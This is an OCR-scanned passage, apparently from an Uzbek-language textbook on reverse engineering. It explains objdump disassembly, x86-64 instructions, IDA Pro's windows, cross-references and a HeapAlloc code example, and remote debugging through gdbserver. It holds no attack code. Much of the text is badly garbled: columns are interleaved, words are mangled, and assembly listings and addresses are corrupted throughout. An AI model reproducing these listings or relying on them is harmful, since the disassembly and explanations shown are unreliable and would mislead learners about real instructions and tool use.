keyingi sakkizta qator -A8 bayrog* yordamidg chop etiladi, By buyruglar disas-

sembling jarayonini yanada samaralj va magqsadga yo'naltirilgan tarzda amalga
oshirishga yordam beradi. -

L_——f.i‘uﬁ kali)-j~]
5

abfeump M inrel o text -d my Ao £rep "<main>- 48
D0O00UGO00001 ca <main>-€) '
00006
Hea: 55 push rbp
Heb: 48 89 &5 mov rbp.rsp
llee: 48 83 ec 20 sub rsp, e 20
1d2: 64 48 8b 04 25 28 on mov rax. QOWORD prr filhe2s
11d9: 00 0 i
11db: 45 89 45 18 mov QWORD p
Hdf: 31 el xor ax, eqy

Hel: 745331323334 moy

TR [r. hp-lx8 [rax

DWORD pr (rbp-Oxd 1.0x3433323)

Rasmning birinchi atorida, 505i

0x0000000000000011¢4 nisbhiy i ; iy
siljitish orqali ishga tushirilishi
gi ajratilgan chigishning birine
boshlanadi, keyin esa 3-bandda

(main) funksiyaning

e umumiy ikkilik tasvirdan
ni ko rishingiz mumkin. Asosiy (main) qismda-

hi qamri. rﬂSt’!‘l{iﬂ kt}‘rsatilganidck, llca ofsetdan
gayd E!llgamdek, mashina tilining opkodi 55 hi-

€ lomonida tegishli gismlarga aj-

3 :'i.

istrida saqlangan manzil yoki qiy-
operandi joylashgan. Ushbu ko*rsatma rbp registrida saq

matni stekka surilishiga olib keladi. il ma’lumotni taqdim etadi, opkodlami
Chigishning ketma-ket satrlari bir xil o*rsatadi. Bu x86-64 bitli bajariladi-
qabul giladi va tegishli disassemblerlashni kt?t :5:1 . L.i king Format, ELF) ikkilik
- . s yecuta & Y R
an va bog-langan fayl formatining (Execu r uchun tuzilgan bo
i;ml Iw.d‘f bog }"""-“fllﬂhtulydﬂ:mr ARM kabi boshqa pmm:;?bg*lm T
urfk:uillzrft%dri ur;;-truu ujr'ltilﬁun ko‘rsatmalar hﬂsr;; sl
t I 1 sl = E = o lnl. : L. . i . 3
Protsessor niilfkturusiﬁiﬂg C-% Ko ri.z:i‘:alllili :nm'ju{i: Eh]z?h'ﬂljflzlia:z Iit:
Jineea srlashning ikkita asosiy vositasi chizigh to las _
kuﬁﬁrm lh:L!l}hiLI:lflI:i1rck-lrjrsi,r o'tish). [':lb]l?u{;‘iod segmentining boshida yoki
- . tus 1|r.11 [y ‘<ol bo*lib xizmat giladi. bir opkodni ketma-ket dlsas‘sembt
ham:mhlcrin:shgu mr“_,_‘h manzilda ishlab, har Ir(,4 o*zgaruvehan uzunhkt.:lagi
clgifungur1 b(1s!1|ul1g: n.’ calarda, masalan, x86- ‘mrniﬂE uzunliklari turlicha
:;:r Pl B arxlmk?ud bo*lib, bu yerda huyT:; MIPS, har bir ko‘rsatma
? i av I 3 L o g "
yruglar to plami m:‘-J; arxitekturalarda, nms?ahlarigﬂ rioya gilinadi. IDA -
Uh|IS|'lI mumkin. Bm'-:,qb‘igrilﬂl'ﬁla“ o*lcham ta
ayt kenglikda bo'lib, be -

: ari, shartli filial
- atishdan tashqari,
.- chda qismlarga ajratiste bo‘lgan ko'rsatmalar-
U mashina kodini chizigl ravishda { artirishi mumkin
. ia KO o'zt

R i ‘ladi. Shartli
g - ogimini 1 rga misol bo :
Yoki filial kabi boshgaruyv jf-]ﬂl:‘ o , cmTiEngBu Ko‘rsatma “Jump if
. s p a 5 mkin.
£a erjs - r ishlaydig f -o‘rsatma bayroglar
01 g q:'“‘ia';t Jz ko'rsatmasi: . Ushiba ko 158 g n!fmflih
?erhg“ misol :-‘.lla‘“k?l} degan ma 'noni : +kshirib, ;I:Ilsz i s
Fi n“ & u:l & = P r I ® 2 ( X
(FL, [f111l i ;hm- b. i nol bayrog ! (z€ roq (flag) © mutrlgd**ntw. hisoblagichi
o GS) registridag il giladi. Agar POV o oan bo'lsa, das g
ﬁt‘lr:lliglgu | ant X i‘jimdl' f}hgnr bayrod © nl':ﬂl mm;zilgﬂ otk IDA Pro dasturi-
'Sh amalga oshiriladi. Aga! ™ ketma-ke - dagi rasm :
Rl : ceying! : uyldag o
Yarilish davom ctﬂdlgﬂ“l!‘t‘ﬁq rushunish uchun 4 g yuz beradigan shartli
igr
Kontekstni yanada o'l

so'l
. 1gandnﬂ -
: aruv qay
A Xotirg ajratish funksiyasidan bosha?

s nantadl.
‘ : e teod ko'rsald
0 Ushning ixtiyoriy misolini




loc_14826CCC7:

call €5: imp Gape R,
Ll ré, rla : OwBytas
Xgr edx, edx . gﬁriags
[0 rex, ©ax 3 hHEﬁp
call Cs:  imp meapal o

man, rl%, rax

test rax, ra

jz loc_l2a@ecsis

Jj = .

' s [Fuied)
les rex, [rbps ]
L =T LFSp4E04 . 5 *15
1 |l| rw s = -
call #l4_ﬂffl$-L_”f@at'jhﬁfﬁtﬂ!fnﬂ:ﬂ
[mo rlid, eax
|"|"I:'1' "'.-"d, -4
[mow "bx, =15
—

IDA Pro ichidagi ushhy grafik tasvir rekypsjy tushish formatiga ega,
call es: _imp Ge!P:mwae*ap (1]

mov r&, rild @ ; dwiBytes

xor edy, edv €) ; dwFlags

mov rex, rav @Y hfeap

call es: _imp_HeapAlloe ®

mov rl3, rax (@

test rax, rax @

Jzloc_14006CE15 @

Birinchi navbatda GetheessHeap

. . , funksiyasi chagirijadi. Ushbu funksi-
va jarayonmr}g_ asosiy yu!u standart xotirg yigtish dastagini qaytaradi. Yig‘ish
(heap) manzili RAX registri orqalj chagqi ga oshirilgan dasturga qay-
him bosqich bo*lib, keyingi
adi. Endi HeapAlloe funksi-
oqda. Birinchi argument sifa-

Iruv amal
ruvida my
foydalani)
lashtirilm

tariladi. Bu jarayon d

. astur xotira boshqa
xotira ajratish va bhog

hgarish amallaridg

dan RS registriga I-:n‘chiri.lgan “L]Ehaﬂf
dx, edx buyrug'i yurd!a_mlda 0 giymati
lab gilishning yo'qligini |fm_iale_t},fd|. Si*.;ua
AX registridan RCX registriga 4:q|y-
funksi;asi uchun argumentlar hE[I'llgi‘:l.n
a b::jariladi. HeapAlloc 1chaq1ru:;.-
ira qismiga ko‘rsatgich hisoblanadi.

tida, rasmdagi 2-qiymatdan er-1 registri
ishlatiladi. DwFlags argumentiga Xor €
beriladi, bu esa yangi imkoniyatlarni l:; -
ningdek. uyum manzili (heap addl‘Esf}uuc
mat sifatida !-m‘i:hiril:;dii..l‘:fﬂtlI Sfa-?:ivmﬂld
bo*lsa, chagiruv (call) 5l e i : :
A ;i‘uﬁ;‘ E:[ila}"i"ga'l natija a'lmmgm?;-?;:dani r15 ga ko*chiriladi. Ke?'m_visn
S0'ngra raw’da saglangan qgmmf:iq:malﬂa oshiriladi. Test kntriail:; a;lzbnlfzaitr

divmatdast , eax buyrug1 &S a, RAX registr A
;(!uirjhfm_d‘lﬂl tr.-gt Txﬂatsiyasini ht'-jarud:. Bu!l?:ftimqsadi Hegpﬂ““c Iun‘ksf‘

© yicha AND (va) op isolda, test ko rsatmasin g dir, chunki bu muvaffaqi-
8 laqqoslaydi. UShh".' i 0 ckanligini teks_hl.nhh Ijal;a va uni 0°z-0°zi bilan
Yasidan aytarilgan e AX registri Qi}"“a[mlf‘ﬁ)i?matiladi. bu holatda giy-
iu‘*:s[i;“kni o I-di rﬂ'dl};?ﬁ?;m i'ﬁ[‘llirsak, Zero Flag (Z

L2 operatsiyasi orgs -

; EPTIONS
! ey di. ENERATE_EXCEPT]
matning 0 ekanligin LL}.Irimiirluvi paytida H[::AP'{? o‘rniga istisno knﬂla.n qay-
Agar HeapAlloc :{- :1?1&'-1 o*rnatilgan b? lsaida ko'rsatilgan jump if zero

e etr] dwilags yorcs oxirgi buyrod SV pAlloe go'ng'irog' "
lariladi. Ushbu hlnl-;dug'l L[iléﬂll bo'lsa, d-.?ma .. aks holda, keyingi ketma-ket
.uy‘rui_1 1 (jz). Agar Ff 0 -n'153|u1i omalga 05I11!-a|11}:;iqh davom etiladi.
:j:]Fi}:Hiz Iillg:'idli: tj:I :;13] ottiladi va kodni bajari:

anzilga chizigli ravishds L. ik ‘ .
[DA Pro Ra g?;:'ir*?ls::-}'nalar mavjud bo‘lganligi

orliq

ishni ish muhim. Ke-
o 82, : aatsiya gilishni tushums,‘ , e-
IDA Pro dasturida ko'plt naw%ats'_l!l’;-it:[ida yuklash misolidan bosh-
Sababli, unda ganday to'g’M o'ga Kiri yl_l sum }rukiaganimizda_ e
ing, oddiy binar ['a},rlni. IF}ADPr ‘
YMiz, MyAtoi dasturini I

“¥na paydo bo* ladi:




r} Lozd & new file

Lot lie C:|Userslstudent Dl topinmyabo =
ELFEA for  86-62 (Shared object) [eif6d dll]

Eiriary file

Processor typs
MetaPC (dsassemble o opcodes) [metapc]

Loading segmient Analyss
[ Eratisg Vermeloptins | verrel oobicrs 2 Kernel options 3
Loading offsat [ Indicator anaping Brocessor options
Cotiors
[CHissimpti 5
Fi segment gaps e

s
&1 Rename Dyy Preting

(] Marnp ket

lash, mavjud bo‘lsa, MO Gt tekshirish va funksiyalarni nom-
h va J:G}j nomlarini belgilash. Bu
“:'dE'E' E]IS[nlarini 0'z ichiga oladi.
tahlil birog yacy L. NI amalga oshiradi. Katta

qttalab gilishj mumkin. Barcha oyna-

: e oblar o iy
Jarayonini tugatgandan so'ng, menyuds yyio 51 hIln tezlashiiradi. Tahiil
sozlamalarni tiklash uchun Ish stolin; tiklas:}"dnws bo*limini tanlang va standart

IDA Pro m i s (Res G
b tote t_I}’Atm dfslurfmng avtomatik tahlilip eli Desktu!]] opsiyasini tanlang.
satiligan natija olinadj, Yakunlaganidan so'ng, §.1-rasm-

hajn_*udagi Kirish fayllari uchyn
larni yopish va Navigator ash

B

e - s Er

b | " "o " Al ZRFFLAR S
. N A = |

P = . —

-----

5. I-rasm. Standart DA Pro tartibi

ntlar 5.1-rasmda ko‘rsatilgan.

ESLATMA. Ko'pgina mnkswﬂ!a;;r; ?Eir::i ot erormbastods: it
Turli bo'limlar, xususiyatlar va vana

P T . .y : ne. . A T
O lan Navigto bt penell b T
umun"nii-;r?:r}:::i:l:;lﬁb?aqaim etadi. Pam:! turl ll:;zkl:::mgrﬁ:h o s xie he‘radi,
bir rang bil kh dlangan maydon o'sha Jﬂyga . ountazam xususiyatlar sifatida
M S ALY, it fasvirning aksariyatl T ilar va statik ravishda

Yﬁ.ﬂm misolida, umumiy 3 liklar mavjud tashqi hclgl.ar va vist

helgﬂﬂngun, Bu. dinamik bog liq funksiyalaridan fargli o*la-

: uvehi kutubxond 3 ol
Wzilgan kutubxona kodiga IShﬂrﬂfq!:::;;:;ﬂr va bajariladigan kodga ishora giladi.
10q, ikkilik kodga tuzilgan ichki fun

. - L I_ va dinam.k
3 funksiyalar oynasi parcha ichki funksiyalar ;
~3-rasmda ko'rsatilgan 1t

m L aqdim etadi. _ NN ;
og*ligliklarning nomlari ro'yXat "y iyatni asosty grafik ko'rish oynasida

sish ushbu XUS =70 : dan-to‘g i manzilga o'tishga im-
gmasitO B . bo'lsa, barcha funksiyalar

ro'da pelgilar Jocve. uchun belgi ma’lumotlari mavjud
1020 kabi nisbiy virtual manzil
belgilar jadvali mavjud

k“"fsmishga olib keladi.
On beradi. Agar IDA P
Mos ravishda nomlanadi. AgAT -0 5 hora sub_102
0'lmasgg, ularga sub prefiks berilad 15:5:1 periladi. leda
elative Virtual Address) *Ii:hi ga misol keltirilgan:
*Masligi va qach vjud b0
qgachon mav]

@
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3.2- rasm. [DA Pyy navigatsiva asboblqy paneli

:‘: Functageg v idem, = »
b

Function LRl T
LT
b 1060
Jpriny
—Cxa_finaliye
bt

Bereg ter_tn_clon |
femi e b _elone:
4o _gioky L_dtiry gy,
f qrr-z__:.‘lurr.ru‘-,
rrly-‘;tu.

main

bk e TR

i i T i i T [ ] [ [ i

B b

bbb cru i,
~term prag
T

|

e |

L

Ling 3 of 18 ¥

3.3-ras
m. [DA Py, ﬁmi.'sij.wfar:‘ OVnasi

b
£ Funchon v

Furici e
.‘u':' = r‘q’_' ) b - .
o '_.'-"Wuﬂu,er“cn_':ﬁmr:: e o &
- (LT Ndener S ahasriad . e IA
b 706163 T Windome ot :
- ’, ¥
fleuby_TTDEIBIA . I.y”-mujv - :
N b T ae e = DR -
b FIOETOE . —
Y - * bl i, e . I
5\ wub_7TDE 86D it e :
i na_ TTDE1SED * u“ruw'” = | .
! ‘ * B b, ]
1.‘ oy 7 ?ILE-TFE’J - .rl:ﬂ |1r'u_ic ""‘.'I"‘L"F""'":” -
o b TTOGTR e ;, et by 4 “ .
i o Ny -.lr.h.'n\.'«-l'_l»eupn -
b - f N c ot
LY li-b_:n't-f.“':lﬂ!. b L"-‘\T.‘l. — ™ -
o b TTOSICog 3 -“:u.‘a",m”” :
X s LY Ilﬂh-'.lmn-_u [
- Ly g Y
~ E.b-m-m[.-n:r b n..:.:rhm-T — -
: a.Tom0cy L) :r.- e * s ) [
\--' Llnardll--.l L= = Y . = : ".
o aepan, c
£ ey » g:r“"'h,llq.r-.'l------l .
"
. N o !"-I.""'bl.{-{!’-\l’l-l-l-ihll -
3 L4 e e ke LI - .
o .
>

Xususiyat]ar OVnasi
. ¥nasi gst .
linayotgan barchy yyq, - ME2 Murojaat qiling, By jgen. JoYlashgan, Ushbu
Ususiyatlam; g1 ettirad  interaktiv oyna bosfib, ahlil

120

. aiemidaei chigish oynasi Python yoki
: ibining pastki gismidagi chigish oyna hon

Standart IDA Pro Iamh:;lrz; E 4-rasmda ko'rsatilgan. Chigish {;mﬂs}ku?ﬁ

gan buyn ' arlari va natijalarini ko‘r-

Python voki IDC orgali bajarilgan huyruqlarnmglxa?;;lzér;t;?s:;ar;]ﬂumm s

satish uchun mo*ljallangan. IDA Python va IDF haq s

bobda keltirilgan. Bizning misulimi;da k::*r_s;::i?::fnasﬁabki eI
ko*rinadi: “initial autoanalysis has been lhim

Yakunlandi™),

IDC interaktiv paneli bilan

5.4-rasm.1DA Pro chigish ovnasi

: .azida joylashgan asosiy oyna
ining markazida joylashg : :
I;;ni;n*rsaliigan. Ushbu oyna funksiya-

: o
Mlmldagi standart IDA Pro sxem o .
ks ettiruvchi grafik tasvirni taqdim

: S-rasm

IDA View-A deb ataladi va u 3.0 T;ida ; asvimi tac

lar vy bloklarni rekursiv tushish usit N it 5 6.rasmda k-::-‘rsauilgnmde‘lic.

ladi, Us i bo*sh joy tugm spinichi @is a ajratilgan kod-

Eznd;, Ushbu oynadagi bo :f:ﬁ’:k);mdi. Matn ko rm_:shutlc:;ﬁ;:irfi }rina t:isish 1ol
Spleyni grafikdan matngs % . Bo‘sh jo
o El"ii?:lll;::.;rl:iidgn'rish imkonini beradi. Bo'sh joy

itta kod blokidan iborat asosiy
Ikki kotri ish o'rtasida almashinadi. S.fi—ra?“’_di]?{;::im ma'lumotlari, keyin ma-
h“k“‘i}‘u ::::::.l:tg:m Funksi}’ﬂ“i“g_}ruqrfﬂ?iﬂd ko‘rsatiladi.
ha”il"' U'?-E.HI'L.I\-'chilar va qismlarga ajratilg

® e

perh

L

e
aami Wik B22 L

vo 'da grafik ko ‘rinishi

Fraaitd

sm. IDA P

ppL®i

5.5-ra

IR, STw ATTEE




[y

FTRLRS Sl it By Vg

S.6-rasm. 1D 4 Pro matn ko ‘vinishi

5.7-rasmda Importlar yorlig* kn‘rsal.ilgan. Ushbu oyna kutubxona kndlgif
kirish faylining barcha dinamik bog‘ligliklarini ko‘rsatadi. Ro*yxatning yuqori
qgismida printf f‘unksiyasining nomi joylashgan, Ushbu funksiya umumiy obyekl
dasturini bajarish uchyn zarur bo*lib, ish vg amida jarayonga yuk-
lanishi kerak. Eksportlar i

yorlig*j kﬂ‘rsati]magan. Ushbu oy
ularning tegishli manzillari orqali kirj
siyalar ro‘yxatj ko‘rsatil

kutubxonalari ( DLL) tomonidan qo*lHaniladi

eksport gilingan funk-
mumiy obyektlar va dinamik havola

o Lraes
arre

Erperiz

PGS BC 37
ST —— e tat mittime 235
+_- OO g lhl.qrt-‘.tl'dll.?.?.".
1; :'Cmmm. '1‘-‘_='.".:1-"'| TN ieng Thbin
-'; Iﬂ.‘mﬁ: = e
Lr 1%10;;._‘.! _|'|'“_.._, LT T Tt fe

5. 7-rasm,

IDA Prg .’mpm'r_vm'h‘g i

qilinishi mumkin,

; ] : sariyati [DA
mavjud E“:ms' Biz eng 5081y vari SXemasini sozlashdan bosh-
Ia}}rmlz, S0'ngra f‘uydalimq Xususiyatlar; ko'rib chj

dindan O‘matilgan

S qamiz. IDA Pro turli xil ﬂll;
Tang sxemas APT .o las
: : qiladi. Ulardan birini tanla

uchun Variantlar (Dlltmns} me so‘ng Ranglar (Colors)ni tanlang.

1 variantlarip; taklif
Nyusiga o‘ting,

; : . as mﬂvjud variant-
5 g adigan menyusi va : .
ranglar ochiladig _ Yaii orasidan
W o dasturining P ; ng sxemalar

518-m:’md"‘| oy gll;’ standart, darcula, va qnmng[}:;frhz:nr:::r‘i:c}'si uchun go*llani-

lar ko*rsatilgan. Siz s Yo i asi butun [ ro v i
— iin. Qorong'i sxemasi bu - masiga taalluglidir.

tanlashingiz mum::m.l?ltsaswmbi':”“h (qismlarga ajratish }d‘{'}" g

adi, Darcula esa faga : . sini taqdim etadi.

Ldgl }Em qorong'‘i (dark) mavzuning namunasini taq

»

l;!!_'_;!;_ + ."'_

5.8-rasm. IDA Pro rang sxemalari

o hamlnl?lr {xrer?} vlar amalga oshirilganli-
iziqqan funksiyaga qanday qilib clmqm{ b oA
Ko'pincha, q|31qq:1ﬂ i. Ushbu chagiruvlar o zarﬂjm"'f] ing qayerda va gachon
e e S e et e Tt
e e ok byl b s oo
e 'ﬂrlqllz:ihusltunini alifbo tartibida tartiblash v
yorlig*iga o'tish, Is

pishdir.

9.rasm. [DA Pro qorong ‘i rejimi
5- "'-rﬂ'u -

da ko‘rsatilganidek. kerakli funksiyaning Im-
maa

5.10-ras chun nomni ikki marta bosing. .idata

Topilgandan so'ng, bo*limiga o'tish u

Port ma’lumotlari (.idalaiSi
bo*limida tanlangan fun

ini bosib, xrefs oynasini
: -X tugmalarini
tida CTRL
ya us




AR
oching. 5.11-rasmda HeapAlloc misolidagi natijalar ko‘rs atilgan, Kiriti
da ma'lum bir joy

mumkin.

: lgan fayl-
g2 0'tish uchun ro'yxatdagi istalgan chagiruvni tanlashingiz

». DO0ORORLSILETINE | PyoID
SRty IERRORLSH1 5T 0
Edate BN LY] AT 0

PR

—itecall Mespdllocimunye Fireag,

Birn  ag P ] Lo 2 e :lL“-. duflags, s1¢

2T Smlytes)

&31 55512

S.d0-rasm. Ma 'lumortlgry; import gilish bo Jimi

= owboen _ e Heapllies

Thewrtimn Tip Sl Teut . ‘
f Bpor el dp t egnglanhg L el g _img Heupdliy

_E PP wal ey |_‘Z+|-:1--\.|-_, Cevhgl . e EE_imip_beapilin,

=Up F i Marmany 31 LT T e E_ M glding

= Up p o aloshlemong13 LB T Heapdine

= lp Winch ey o 5 el re_img i

ireSof g L

b,

= [

S.11-rasm, HeapAlloe £a0'zarg .-‘;c.;'.’n.-’r.tfar

Eslatma: JumpOpXref del

: nomlangan .
- ema ham mavjud bo'jip, uni X tuima:ir:;rzzd~u “aro havolalari uchun tez-
f"'-’_hsul lamz]as:da dastur ma’lumotlarj segmentid e
bir nechta joylarda ishlatiladigan 0'zgaruvchidar o
garuvchi ajratib ko Chidan foy

& g
rsatilinsa va X ¢ 2l
; 3 : Ugmasini hog;
0°zaro havolalar ro"yxati ochilad;. sil

orqali chagirish mumkin.
angan va kod segmentida
dalanis), Mumkin. Agar o'z-
54, ushhy 0*zgaruvchi uchun

F

5.12-rasmda b unksiya L"haqiruvlar

da ushby misoldan

ir }1: E::hl?( blokli fup ksiya misolj ko‘rsatil
0'1a kattarogdir Ko'pi i
: Pinchg
Fcrences]ni k Pk

gan. Funksiyalar odat-
‘Uib chii . 243t funksiyaga barcha
0'rib Eh[qlﬁhln_giz kerak, balki ushbu

(cross-re

=== E—

y _.:_[]J

5.12-rasm. Funksivaga misol

Acddress

tex£:0000000140080849
fex t:DﬂWﬂﬂﬂNﬂ:ﬁD‘:T’f
et 0000000140144140

Lddress )
et 000000014014760F

text:00000001401477E7
tex £0000000140147837
tex £:0000000140147852
text-0000000140147865

35, 13-rasm-.

i aller
Rpe_Cre atePolicy call
Rpc_CreateZonePalicy
“reate_CONSPobicies

Called function
call Validate _PalicyD...

77cA call
ey t:00000001401477 call Get_Polcy

call
call
call

Instruction

Create_CDONIPolicy
call Create_CDNZPohcy
call Create_CDNEPohcy

WPP_SF_Sddd

WPP_SF_Sdd
222 YAPEAX KA.,
770CDnsPolicy@...

Funksional go'ng ‘iroglar

ity Browser B .
l;gcli;;::im“? Browser (PV) sifatida tanilgan,

Yaqinlik funksiyasi. Sh:;;:gfu}f dalidir. Hex-Rays veb-saytida aytilganidek,

dasturdagj yo*llarni kuzatl
“P""'ﬂﬂm masalan, daﬂfﬂﬂm
sidagi yo*Ini yoki ba’zi funks

gtﬂ'liq ch

aqiruv grafigini ko‘rish, ikkita funksiya ora-

larda qanday global o*zgaruvchilar ishlatilishini
iyalar

125




ko*rish uchun foydalanishimiz mumkin”
ittt K in”, 3.14-rasmda asosiy (main) funksiva vi
(yaginlik brauzﬂli}i ﬁj‘:iﬁ?:;d”ﬂsmagl }“Gflni kuzatish uchu}rrm {?mt?r:] |Itu n:;:i:: ‘ :
gan baytlar sonini kn‘rsat:d' n fﬁrdﬂlﬂmladi.Memcpvfunkqiya.qi nu}‘r . ZL
ko*pincha hisoblash {cnuntl;.g: ) hlsnb@sp (count) argun}entig\a L‘b;ﬂ Bl:tfﬂ d:d l
ketgan hollarda qo*llaniladi hrgt{menum by bl tufh IL. . I.:m h'l}ta
P 8 uning uchun u miso| sifatida keltj ol N
P e er'ni ochish uchup e
Subviewlami ochish -> Proximity By

tegishli variantni tanlash i

- ] L - Orqail .‘
y!glashnr:b qo"yishingiz mumki
yini o°ng tugmasi bosilsa, qo‘sh

yugori darajadagi s
n. Agar : djadagi tugunlami
£4r oynaning tugyn bo‘Imagan himﬁ-hir o4

nom bo'yicha ta : imcha menyu varj i . .
nlashning eng qulay usuli — an:]ﬂ:: ::lbta@n: etiladi. Tugunni
0'yicha qo*shish™ (Add

Node by Name) tanlovin;
: il ovini amalga oshir; |
nuqta sifatida kerakli funks; oS b, ro‘yxatda
I¥a nominj N boshlang‘ich yoki yakuni
yakuny

uchun shu amalni tak nomini belgilashdi :

5 ror o ir. Ke :

ning o'ng tugmasi bilan 'tr::;ﬁ ‘F}xifg:_ qadamda, lugu::: :; nshq_ﬁ g tanlash

miumkin. 10, “Yo'Ini {Opish” (Find Pathr} an birini sichqoncha-
) variantini tanlashingiz
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5. 15-rasm. Unumiy ;Jm'fm.rem"m' menyusi

r va manzillash
a standart bo'yicha opkodlar va man-

hingiz mumkin. Ushbu ma'lumotba’zi

wQpcode™la
2ill IDA grafigining asosiy I-:ﬂ‘rin:::i;fl?s
cia yan . | ‘
lahli?a:t?lﬁn?: I(I::?;;hﬁ ;::I{Lipfgglil;ﬂ“da qo*shimeha jo cgallzrsl:il muka, {;;}fn! gsa
64bitli dasturlarda. Ushbu ma‘lumnmi‘ekra_nga_g? Shl;hl _g!::q:;ﬁ;ﬂnu‘s Pt:m;s
1:\" [DiSﬂSHE:]‘IbIF} }*ﬂfhg‘ldﬂgl 1011 gan, e

1 g skrfll!ﬂ
I refix 11l tini
es (Graph) varan 5.16-ras

Number ofOpcode Bytes (Graph)ni
Brafik rejimida 10 ga o'matildi p1ld]'»:1 ;ﬁh::l ma’lumot ganday ko'rsa-
Uilishini ko*rishi mumkin. Ushbu o'zgarsh

kor gilish uchun CTRL-Z
Wgmalarini bosish kerak.

ranlandi va

h (Shortcut)lar

: lavis ; -
Qisqa k ¢ birikmalari mavjud bo‘lib, ular aniq

ala

: tu ini hosi
zkor gn.;asmirish uchun W tugmasini bosish va ol-

an, katta hun | ragamini bosish mumkin. 2 va
boshgarish imkonini beradi. Bunday

1? Ushbu sozlamalarni o°zgartirish
lar) bandini tanlash orgali

Ko'pgina standart va 1€
O'rinmasligi mumkin. Masal
dindap belgilangan o*lchamgd
ragamlari kattalashtirish V8 K¢

urli xil variantlar hagida qanday bihs:!s
Uchun Options {Suzlamﬂlaﬂ | S

qaytﬂﬁﬂh ucl
hrﬂ}ftirishm
mumki
(Tezkor tugma




. 5'.-] . .|'5',, 1 i
5 da LD o EHIILEIFI. I?l'u L= da 512 Sl

dart tezkor tugmalarni, shunj

» Shuningdek, o*zgartiri] i i
5¢?Ir:lamalar I[?A Pio; TOA Hore v IDAEFTL-: faahr; :ugrj'salnr{u topasiz. Standart [lova yozishda kodga izohlar kiritish odatiy hol hisoblanadi. Bu boshqa ishlab
gilishi mumkin. urli versiyalar o*rtasida farg chiquychilarga kodning mantigiy jihatlarini va ish kontekstini tushunisien yorcam

beradi. Muallif sifatida, kodlar bazasiga qaytishda kontekstni tezda tiklashni oson-

lashtiradi. Xuddi shu amaliyot teskari muhandislikda ham go*llaniladi. Dissamb-
e ler gilingan kod yoki dekompilyatsiya qilingan psevdokodni o‘rganish ko’p vaqt
talab etadigan jarayon hisoblanadi. IDA mavjud tur ma’lumotlari asosida ba’zi
T W it v g, et (e s izohlarni qo*shadi. Izohlarning bir nechta turlari mavjud, lekin eng REng gl
gan ikkitasi — muntazam sharhlar va takroriy sharhlar. Muntazam izoh qo‘shish
uchun disassemblerlash qilingan kodning kerakli qamn'ui lf“ﬂa':'g L ﬂfki augia
(:) tugmasini bosing. |zohingizni kiriting va OK tugmas.’ml hFlszng. T'vhsnl izohi
5.18-rasmda ko*rsatilgan. Hex-Rays'ga ko'ra, takrorlanadigan I:ﬂ?]l “aroz Thrg bi-
lan oddiy izohlarga deyarli teng: u sharhning asl joyiga havola gilingan har qanday
joyda takrorlanadi. Masalan, agar siz

alobal o*zgaruvchiga takrorlanadigan izoh
4o°shsangiz, bu o'zgaruvchi ishlatiladigan har bir joyda paydo bo'ladi”.

Wee = wee

loc 148122805 . pointer to allocated chunk in RAX

5.16-rasm, Opkodia

Ve Hiﬂﬂ:j‘.: fjreﬁk-ﬁ’ﬂ}'}- Moy Pb}l:, rEX
test rax, rax
Thae :; _L:__-l'-'r'}l::Eab
5. 18-rasm. Doimiy izohlar
Bowdf e e -
: i [ ] Corfleting n
ratbed oy
otk N Py IDA pro yordamida debaginglash |
At pr 3 . @ = a
_ D : sofaviy muammolarni bartaraf etishuchun kuchli
o s A Pro mahalliy va maste disk raskadrovka IDA Pro bilan ishlaydigan
A by i - i ;?rdﬂ““‘i 0z ichiga oladi. M“héglyul;ux va Windowsda qo‘llab-quvvatlanadi.
ﬁl“h‘-‘-‘:"-m":u.'! & beiaieyy onibiled (for o alrﬁﬂl‘l;]]"[ d' i Iadrln I“ac = S l ['E] PIN Aﬂdﬂ}id i
H'-""r*"hm} 3 bk, eralsled (Fir o 2 arda, J'L"“ ‘_ ' 5 " |DS‘ XNU, BDCH ' “. ] : va
. aing Bt trabled ffor ¢ b‘ﬂsmndnn nosozliklarni tuzatish Ehauwatlaﬂﬁ di. Ushbu bo*limda masofaviy no-
sl il = T Shqa turli platformalarda 49 [Iah-qmmiladi. Buning uchun magsadli Kali Linux
iy Rabughg - naeled Sozliklarni aniglash misoliga € Ilbﬂég Server Vi windows 10 virtual mashinasida p
i . e v TR : . , X
: Cob-Hurmpeg. ::: Vitual mashinasida ishlaydigan G foydalanamiz. [DA Pro bir nechta masofaviy
B Selg lshlnydigan IDA Pro dasturlaridan 0 tadi. B ctublarni dasturning nosozliklarini
erisbled tor o ¥ Nibikioats TR . 1i1an keladl. BU 3 5
g e O50zliklami aniglash stublar! b.ﬂ?.n*m a nusxalash mumKin. _
dli tizime - da masofaviy muammolarni barta-

Miglash kerak bo*lgan maqsa pro yordam

Frser e ’ Keling, m'g'ridaﬂ-lﬂ'g'“ ﬁ hbu miso

I‘a11 etish jarajoni misoliga o' tamiZ. GSHHvﬁf:hlli jil

it omborini klonlashdan s € ersiyasi ishlatiladi.
lurining kompilyatsiya qilinga" ¥

|da Gray Hat Hacking 6th Edition |
dida tagdim etilgan myProg
Ushbu misol laboratori-
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Rl

ya mashg*uloti sifatida ko*rsatilmagan bo'lsa-da, dast
ham, magsadli Kali Linux lizimiga ham o*rnatiljs
Pro (tuzatish vositasi) bilan ishlaydigan tizim v
ruvchi tizim (tuzatilgan dastur) o‘rtasida tajah qilinadi, By aloganing zaruriyli-
gi shundan iboratki, GDB serveri belgilangan TCp portini tinglaydi va ulanish
so‘rovlarini kutadi, Quyidagi hun GDB Serverni ishga tushiradi
va TCP 23946 portida kiruvchi ulanishlary; ¢ glashni belgilaydi. --once opsiyasi
argli o*larog, TCP seans; yopilgan-

ur IDA ishlaydigan tizimga
hi kerak. Tarmoq alogasi IDA
4 maqgsadli dasturni ishga tushi-

> IO Remote GDB debugger w4, s T

5.19-rasm. |p 4 da masofaviy gdp tuzaruve hisi

tushirilgandan so'ng, m

ajariladigan tizimda ishga
Pro dasturida aviomatik tahlilnj amal

'T0°ga yuklash vaqti keladi. IDA
88 oshirishga ryygqq beriladi va keyin
i - ::'IiﬂaSh lozim, 5.19-rasmda ko*rsatilganidek,

Han al i 0 bt e ot 1
jarayonini boshlaydi. Keyin IDA py, 9qani 0 Matadi va disk raskadrovka

_ Yuklangan DL ni disk
nput File Parametr|ar; farq qilishi mumkin.
_d15k raskadroyky tizimidg 2db server ishlay-
L. Slapd_an Port 23946, shuning uchun xuddi
(sadlj lIZfIhffﬂ ishlﬂl&di. Ushby parametrlar

« ngandek Play lugmasi bosiladi.

""“f‘qi_ithnn Masofadan nosozlik-
asofaviy GpDR q{:hrmfm?" df:gan Eoimmam?ni
uchun “Hg» lugmasinj bosamiz, Nog lik _St.rverllga ulanishiga ruxsat berish
